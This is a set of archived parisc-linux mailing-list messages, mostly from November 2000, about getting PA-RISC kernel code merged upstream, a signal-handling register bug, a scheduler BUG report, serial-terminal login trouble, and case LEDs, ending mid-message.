X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Tue, 21 Nov 2000 11:34:32 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <20001121113432.B883@parcelfarce.linux.theplanet.co.uk>
References: <20001120111726.C5196@parcelfarce.linux.theplanet.co.uk> <200011201734.JAA18526@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619321 6816 80.91.229.3 (22 Nov 2014 01:22:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:01 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@puffin.external.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Tue Nov 21 04:33:58 2000
Original-Received: from www.linux.org.uk (IDENT:root@parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id EAA29771
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 04:33:58 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13yBh2-0000al-00; Tue, 21 Nov 2000 11:34:32 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200011201734.JAA18526@milano.cup.hp.com>; from grundler@cup.hp.com on Mon, Nov 20, 2000 at 09:34:31AM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8546

On Mon, Nov 20, 2000 at 09:34:31AM -0800, Grant Grundler wrote:
> Ok. What's the first step to getting arch/parisc* and include/asm-parisc*
> into Linus's tree?

Someone (probably me) sends him a patch.  He told me at the Toronto
show that he was quite happy to apply anything that only touched those
two directories. (oh, and drivers/gsc wouldn't be a problem either).
Can I just check that no-one wants to rename drivers/gsc again?  :-)

> I had dinner with Bdale Garbee last night and one of two things he made
> clear was we need to unfork from debian and linus's tree in order to move
> forward. All our CVS branches need to become obsolete or "local sandboxes"
> of the respective upstream partners. Feeding kernel bits upstream will
> bring a new level of visibility (and *HELP*) to the parisc-linux port.

that's true.  last time we discussed this several people were unhappy
with the idea of sending our current work to Linus.  Is anyone unhappy
with doing this now?

> I also find it odd that glibc is merged upstream *before* the kernel is.

glibc is more portable :-)

> The part you described above is the easy part - np.
> I'm worried about labels and tracking how we "name" the releases.
> Mang or other CVS ninja's care to comment?

don't tag it.  just commit it.  tags are laid down at big events, not
when you fix bugs or undo changes.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: CVS linux Vs. -test10
Date: Tue, 21 Nov 2000 06:11:29 -0700 (MST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200011211311.GAA25238@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619321 6820 80.91.229.3 (22 Nov 2014 01:22:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:01 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Tue Nov 21 06:10:31 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id GAA31149
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 06:10:30 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id 7952821
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 08:12:44 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id GAA25238 for parisc-linux@puffin.external.hp.com; Tue, 21 Nov 2000 06:11:29 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8547

> > I had dinner with Bdale Garbee last night and one of two things he made
> > clear was we need to unfork from debian and linus's tree in order to move
> > forward. All our CVS branches need to become obsolete or "local sandboxes"
> > of the respective upstream partners. Feeding kernel bits upstream will
> > bring a new level of visibility (and *HELP*) to the parisc-linux port.
>
> that's true.  last time we discussed this several people were unhappy
> with the idea of sending our current work to Linus.  Is anyone unhappy
> with doing this now?
>

Are we suggesting that we populate include/asm-parisc* and arch/parisc*
WITHOUT the machine independent changes in the rest of the tree?
If that is the case, I guess I don't object, although I would want
to make sure that Linus knew the state of the code, and that it would
not work without a patch containing changes to the machine independent
part, and that followup patches to these branches are likely to be
huge. We should also add a README in arch/parisc that explains the
above (and where to get patches, how to access CVS, etc.). We also
need someone to set up an automatic nightly? patch generator.

I certainly don't want to try to get the machine independent changes in
yet, since we still have some major issues to fix/clean there, and I doubt
Linus would want them at this time anyway.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] signal handling problems (32 bit kernel)
Date: Tue, 21 Nov 2000 16:54:42 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20001121165442.Y32715@linuxcare.com>
References: <20001120175838.Q32715@linuxcare.com> <Pine.LNX.4.21.0011211713550.15623-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619321 6822 80.91.229.3 (22 Nov 2014 01:22:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: rhirst@linuxcare.com  Tue Nov 21 09:55:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA01479
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 09:55:32 -0700
Original-Received: (qmail 12826 invoked by uid 15267); 21 Nov 2000 16:57:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12807 invoked from network); 21 Nov 2000 16:57:43 -0000
Original-Received: from user-137-160.jakinternet.co.uk (HELO rhirst.linuxcare.com) (212.187.137.160)
  by mailserv2.iuinc.com with SMTP; 21 Nov 2000 16:57:43 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A906FB007; Tue, 21 Nov 2000 16:54:42 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0011211713550.15623-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Tue, Nov 21, 2000 at 06:05:36PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:8548

On Tue, Nov 21, 2000 at 06:05:36PM +1100, Alan Modra wrote:
> > and then in another terminal do 'kill -USR1 <pid>'.  The program
> > either goes 'Wah!', gives a SEGV, or works.  That seems to be because
> > %r1 is corrupted while processing the signal.  The signal handler ends
> > with a syscall (rt_sigreturn_wrapper), and %r1, at least, is not saved
> > and restored over the syscall.  %r31 also appears to get corrupted, as
> > it is used in the final branch of the syscall return.
> 
> I don't really understand what is going on here, but it seems wrong to me
> that setup_rt_frame should be touching regs->iaoq at all when in_syscall.

Problem is that whenever a signal handler is invoked, it is followed
by a sys_rt_sigreturn syscall (invoked via the trampoline code), before
returning to original usercode.  I can imagine that this might work if
the process in question was blocked on a syscall, but not if it was
suspended due to an interrupt.  In either case the path back to the
original user code is the syscall return path, and that obviously cannot
put things back as they were if the process was interrupted.

I think the answer is for syscall_do_signal to save enough in the
pt_regs such that sys_rt_sigreturn_wrapper can return to userland
via an RFI (like intr_restore, but remembering to trace the syscall
exit if necessary) regardless of the process state when the signal
occurred.

Richard


From - Thu Nov 08 21:14:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel BUG at sched.c:692!
Date: Tue, 21 Nov 2000 10:20:35 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <20001121172035.E16FA37CA7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619322 6832 80.91.229.3 (22 Nov 2014 01:22:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Tue Nov 21 10:16:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA01843
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 10:16:32 -0700
Original-Received: (qmail 14398 invoked by uid 15267); 21 Nov 2000 17:18:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14366 invoked from network); 21 Nov 2000 17:18:44 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 21 Nov 2000 17:18:44 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id 210E75CA
	for <parisc-linux@thepuffingroup.com>; Tue, 21 Nov 2000 12:18:44 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id E16FA37CA7
	for <parisc-linux@thepuffingroup.com>; Tue, 21 Nov 2000 10:20:35 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:8549

I arrived this morning to discover both my B160 and my C3000 were printing the 
following as fast as they could,

Scheduling in interrupt
kernel BUG at sched.c:692!

Looking at linux/kernel/sched.c here's the relevant section,

690 scheduling_in_interrupt:
691         printk("Scheduling in interrupt\n");
692         BUG();
693         return;

scheduling_in_interrupt is called from line 516. Here's some context,

500 asmlinkage void schedule(void)
501 {
502         struct schedule_data * sched_data;
503         struct task_struct *prev, *next, *p;
504         struct list_head *tmp;
505         int this_cpu, c;
506
507         if (!current->active_mm) BUG();
508         if (tq_scheduler)
509                 goto handle_tq_scheduler;
510 tq_scheduler_back:
511
512         prev = current;
513         this_cpu = prev->processor;
514
515         if (in_interrupt())
516                 goto scheduling_in_interrupt;
517
518         release_kernel_lock(prev, this_cpu);


I thought it was odd that both systems chose to freak out last night when I 
have never seen this problem on either of them. The B160 is running a slightly 
newer kernel and had been up for about 3 days as of last night. The C3K had 
been up for 4-5 days. When I left last night the B160 was doing a build 
although the it looks like the build died before this problem occurred. The 
C3K was idle.

Any ideas?

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Reilly <robert.reilly@gecapital.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cd .5
Date: Tue, 21 Nov 2000 18:26:41 GMT
Lines: 12
Approved: news@gmane.org
Message-ID: <20001121.18264100@opti.rfs.capital.ge.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619322 6853 80.91.229.3 (22 Nov 2014 01:22:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: robert.reilly@gecapital.com  Tue Nov 21 10:19:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA02079
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 10:19:01 -0700
Original-Received: (qmail 18239 invoked by uid 15267); 21 Nov 2000 17:21:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18220 invoked from network); 21 Nov 2000 17:21:13 -0000
Original-Received: from unknown-147-101.pilot.net (HELO unknown-147.101.pilot.net) (198.232.147.101)
  by mailserv2.iuinc.com with SMTP; 21 Nov 2000 17:21:13 -0000
Original-Received: from unknown-24-15.pilot.net (unknown-24-15.pilot.net [206.189.24.15]) by unknown-147.101.pilot.net with ESMTP id JAA22046 for <parisc-linux@thepuffingroup.com>; Tue, 21 Nov 2000 09:21:13 -0800 (PST)
Original-Received: from sumter.capital.ge.com (localhost [127.0.0.1]) by unknown-24-15.pilot.net with ESMTP id JAA01883 for <parisc-linux@thepuffingroup.com>; Tue, 21 Nov 2000 09:21:12 -0800 (PST)
Original-Received: from opti.rfs.capital.ge.com (opti.rfs.capital.ge.com [3.164.72.22])
	by sumter.capital.ge.com (8.9.3/8.9.1) with SMTP id MAA03025
	for <parisc-linux@thepuffingroup.com>; Tue, 21 Nov 2000 12:21:11 -0500 (EST)
X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.2;Linux)
X-Priority: 3 (Normal)
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id KAA02079
Xref: news.gmane.org gmane.linux.ports.parisc:8550

Hi All,
I have HP9000/d212 I was able to boot off the cdrom image no problem, 
however when I get the login prompt I am only able to type in two 
characters and the screen redraws itself and prompts me for a login. I am 
using a HP700 serial terminal on ttyS0.I briefly scanned the mailing list 
but did not find anything. Any help would be appreciated.
--Robert Reilly

GE Capital Card Service
UNIX Administrator
robert.reilly@gecapital.com


From - Thu Nov 08 21:14:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Developers getting hardware.
Date: Fri, 30 Apr 1999 14:19:09 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990430140459.10592B-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619322 6859 80.91.229.3 (22 Nov 2014 01:22:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Fri Apr 30 12:51:52 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA15639
	for <parisc-linux@puffin.external.hp.com>; Fri, 30 Apr 1999 12:51:51 -0600
Original-Received: (qmail 10490 invoked by uid 15267); 30 Apr 1999 18:49:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10482 invoked from network); 30 Apr 1999 18:49:30 -0000
Original-Received: from devserv.devel.redhat.com (root@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 30 Apr 1999 18:49:30 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id OAA12089
	for <parisc-linux@thepuffingroup.com>; Fri, 30 Apr 1999 14:19:09 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:8551


We're nearly at the point now where it's impossible to do development
without actual PA RISC hardware.  It's in everyone's best interest to make
sure that the developer's who need this hardware have access to it.

Already, 10 different people will get or have gotten shiny new A class
boxes from HP. The A180's are the first platform we're targetting. We
will eventually expand to other boxes, and the differences won't be
noticed until we get to device drivers.

There's a lot of people who are keen on doing development but who don't
have hardware.  If you are one of them, even if you've already contacted
me, please email me at adevries@thepuffingroup.com and tell me:
- where you live
- if you have a sync-on-green monitor
- what you think you can contribute

I've also gotten offers from people who have hardware they are willing to
loan or donate.  Even if you have contacted me in the past, please email
me at adevries@thepuffingroup.com and I'll do my best to match you up with
the right developer.  Please tell me:
- where you are
- what hardware you have

If you're within HP and have already talked to me, please ignore this.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:14:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: CVS linux Vs. -test10
Date: Tue, 21 Nov 2000 17:38:57 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20001121173857.B28902@parcelfarce.linux.theplanet.co.uk>
References: <200011211311.GAA25238@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619323 6861 80.91.229.3 (22 Nov 2014 01:22:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:03 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: willy@www.linux.org.uk  Tue Nov 21 10:39:58 2000
Original-Received: from www.linux.org.uk (IDENT:root@parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA02476
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 10:39:57 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13yHNh-0007iG-00; Tue, 21 Nov 2000 17:38:57 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200011211311.GAA25238@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Tue, Nov 21, 2000 at 06:11:29AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8552

On Tue, Nov 21, 2000 at 06:11:29AM -0700, John Marvin wrote:
> Are we suggesting that we populate include/asm-parisc* and arch/parisc*
> WITHOUT the machine independent changes in the rest of the tree?

Yes.

> If that is the case, I guess I don't object, although I would want
> to make sure that Linus knew the state of the code, and that it would
> not work without a patch containing changes to the machine independent
> part, and that followup patches to these branches are likely to be
> huge. We should also add a README in arch/parisc that explains the
> above (and where to get patches, how to access CVS, etc.). We also
> need someone to set up an automatic nightly? patch generator.

Agreed.  The patch generation is not a big deal to arrange.

> I certainly don't want to try to get the machine independent changes in
> yet, since we still have some major issues to fix/clean there, and I doubt
> Linus would want them at this time anyway.

Certainly none of the stack direction changes.  Some of the MI stuff is
arguably stuff we could put in.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alexandru Pirvulescu" <Pirvulescu_Alexandru@telemobil.ro>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] case LEDs
Date: Tue, 21 Nov 2000 20:49:57 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <004301c053eb$d803edd0$6811620a@sigxcpu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619323 6866 80.91.229.3 (22 Nov 2014 01:22:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:03 +0000 (UTC)
To: <parisc-linux@puffin.external.hp.com>
Original-X-From: Pirvulescu_Alexandru@telemobil.ro  Tue Nov 21 11:47:47 2000
Original-Received: from main.suntel-lems.ro (root@main.suntel-lems.ro [194.102.106.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA03937
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 11:47:45 -0700
Original-Received: from net4u.telemobil.ro (root@net4u.telemobil.ro [194.102.106.69])
	by main.suntel-lems.ro (8.8.8/8.8.8) with ESMTP id TAA03053
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 19:37:14 +0200
Original-Received: (from root@localhost)
	by net4u.telemobil.ro (8.9.3/8.9.3) id UAA28378;
	Tue, 21 Nov 2000 20:48:53 +0200
Original-Received: from sigxcpu (sigxcpu.telemobil.ro [10.98.17.104])
	by net4u.telemobil.ro (8.9.3/8.9.3) with SMTP id UAA28375
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 20:48:53 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:8553

Hello

Is there any possibility to activate the case LEDs? I mean the heartbeat and
the network activity
I have a A180 machine

Alex



From - Thu Nov 08 21:14:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] case LEDs
Date: Tue, 21 Nov 2000 10:55:06 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <200011211855.KAA20167@milano.cup.hp.com>
References: <004301c053eb$d803edd0$6811620a@sigxcpu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619323 6870 80.91.229.3 (22 Nov 2014 01:22:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:03 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "Alexandru Pirvulescu" <Pirvulescu_Alexandru@telemobil.ro>
Original-X-From: grundler@cup.hp.com  Tue Nov 21 11:54:37 2000
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA04231
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 11:54:36 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP id B93F3149
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 13:56:12 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA20167;
	Tue, 21 Nov 2000 10:55:07 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 21 Nov 2000 20:49:57 PST."
             <004301c053eb$d803edd0$6811620a@sigxcpu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8554

"Alexandru Pirvulescu" wrote:
> Hello
> 
> Is there any possibility to activate the case LEDs? I mean the heartbeat and
> the network activity. I have a A180 machine.

Yes.
I was already asked this weekend to dig up technical info on LED
and soft power control. I guess this is my reminder to do that. :^)

grant


From - Thu Nov 08 21:14:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cd .5
Date: Tue, 21 Nov 2000 10:59:24 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <200011211859.KAA20186@milano.cup.hp.com>
References: <20001121.18264100@opti.rfs.capital.ge.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619324 6874 80.91.229.3 (22 Nov 2014 01:22:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Robert Reilly <robert.reilly@gecapital.com>
Original-X-From: grundler@cup.hp.com  Tue Nov 21 11:57:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA04508
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 11:57:09 -0700
Original-Received: (qmail 20293 invoked by uid 15267); 21 Nov 2000 18:59:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20272 invoked from network); 21 Nov 2000 18:59:23 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 21 Nov 2000 18:59:23 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id A363E270; Tue, 21 Nov 2000 10:59:16 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA20186;
	Tue, 21 Nov 2000 10:59:28 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 21 Nov 2000 18:26:41 PST."
             <20001121.18264100@opti.rfs.capital.ge.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8555

Robert Reilly wrote:
> Hi All,
> I have HP9000/d212 I was able to boot off the cdrom image no problem, 
> however when I get the login prompt I am only able to type in two 
> characters and the screen redraws itself and prompts me for a login. I am 
> using a HP700 serial terminal on ttyS0. I briefly scanned the mailing list 
> but did not find anything. Any help would be appreciated.

Robert,
I would suspent the terminal isn't configured correctly for the
serial connection. Is it set up for 9600 baud, 8 data bits, no parity,
1 stop bit?

I'm pretty sure you have the baud rate correct since you get a login
prompt. I'm not sure all the other things must be correct to get 
that far.

I'm not familiar with "HP700 serial terminal". But all the HP terminals
I've worked with in the past also support vt100 emulation mode. You
probably want to set that too.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Apache package.
Date: Tue, 21 Nov 2000 12:30:12 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001121122802.027935d0@mail.webcash.com>
References: <Your message of "Wed, 15 Nov 2000 15:41:55 PST." <5.0.0.25.0.20001115152923.00a603d0@mail.webcash.com>
 <5.0.0.25.0.20001115152923.00a603d0@mail.webcash.com> <E13wCSU-0000Y3-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619324 6878 80.91.229.3 (22 Nov 2014 01:22:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:04 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: kailasr@webcash.com  Tue Nov 21 13:34:34 2000
Original-Received: from ns2.imedia.net (mail.imedia.net [209.247.154.4])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA06528
	for <parisc-linux@puffin.external.hp.com>; Tue, 21 Nov 2000 13:34:24 -0700
Original-Received: from test.webcash.com ([209.157.82.100])
	by ns2.imedia.net (8.10.2/8.9.3) with ESMTP id eALKX2662162;
	Tue, 21 Nov 2000 12:33:02 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
X-Priority: 1 (Highest)
In-Reply-To: <E13wCSU-0000Y3-00@noam.fc.hp.com>
Original-References: <Your message of "Wed, 15 Nov 2000 15:41:55 PST." <5.0.0.25.0.20001115152923.00a603d0@mail.webcash.com>
 <5.0.0.25.0.20001115152923.00a603d0@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8556

Hi Paul,

